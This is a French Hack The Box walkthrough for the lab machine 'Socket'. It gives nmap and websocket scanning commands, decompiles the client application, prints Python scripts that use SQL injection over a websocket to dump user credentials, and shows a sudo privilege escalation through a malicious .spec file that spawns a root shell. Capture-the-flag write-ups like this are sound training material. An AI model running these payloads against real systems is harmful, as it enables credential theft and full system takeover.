Prise | Hack The Box Rédaction / Procédure pas à pas | Par Md Amiruddin
Ceci est une description / procédure pas à pas de Hack the Box machine "Socket" par Md Amiruddin
Lien machine :https://app.hackthebox.com/machines/Socket
IP machine : 10.10.11.206
Énumération:
Résultat Nmap
sudo nmap -sV -sC -A 10.10.11.206
22 ports tcp ouverts pour ssh
80 port TCP ouvert pour http
Websocket sur le port 5789
faisons une analyse de vulnérabilité de websocket dans le port 5789 avec STEWS
python3 STEWS-vuln-detect.py -1 -n -u 10.10.11.206:5789
Site de navigation :
Ajoutez maintenant ce 10.10.11.206 qreader.htb à /etc/hosts
Accédez maintenant au site Web http://qreader.htb/ via votre navigateur.
Grâce à ce site Web, nous pouvons générer et scanner un code qr.
Nous pouvons également télécharger le logiciel pour Windows et Linux, téléchargeons le fichier .exe et décompilons-le à l'aide de pyinstxtractor .
python3 pyinstxtractor.py qreader.exe
pip3 install uncompyle6
uncompyle6 qreader.pyc > qreader.py
Créons un script python pour exploiter l'injection SQL trouvée dans le code source ci-dessus.
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.3" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
Écrivons un code pour imprimer le mot de passe de l'utilisateur.
from websocket import create_connection
import json
ws_host = 'ws://qreader.htb:5789'
VERSION = '0.0.3" UNION SELECT username,password,"3","4" from users;-- -'
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
Il est maintenant temps de se connecter via ssh.
Copiez maintenant votre indicateur d'utilisateur.
Exécutez sudo -l pour voir toute commande que nous pouvons exécuter en tant que root sans mot de passe.
build-installer.sh peut être exécuté en tant que root sans mot de passe.
Commande utilisée
echo 'import os;os.system("/bin/bash")' > root.spec
sudo /usr/local/sbin/build-installer.sh build root.spec
Merci pour la lecture.
![Qu'est-ce qu'une liste liée, de toute façon? [Partie 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































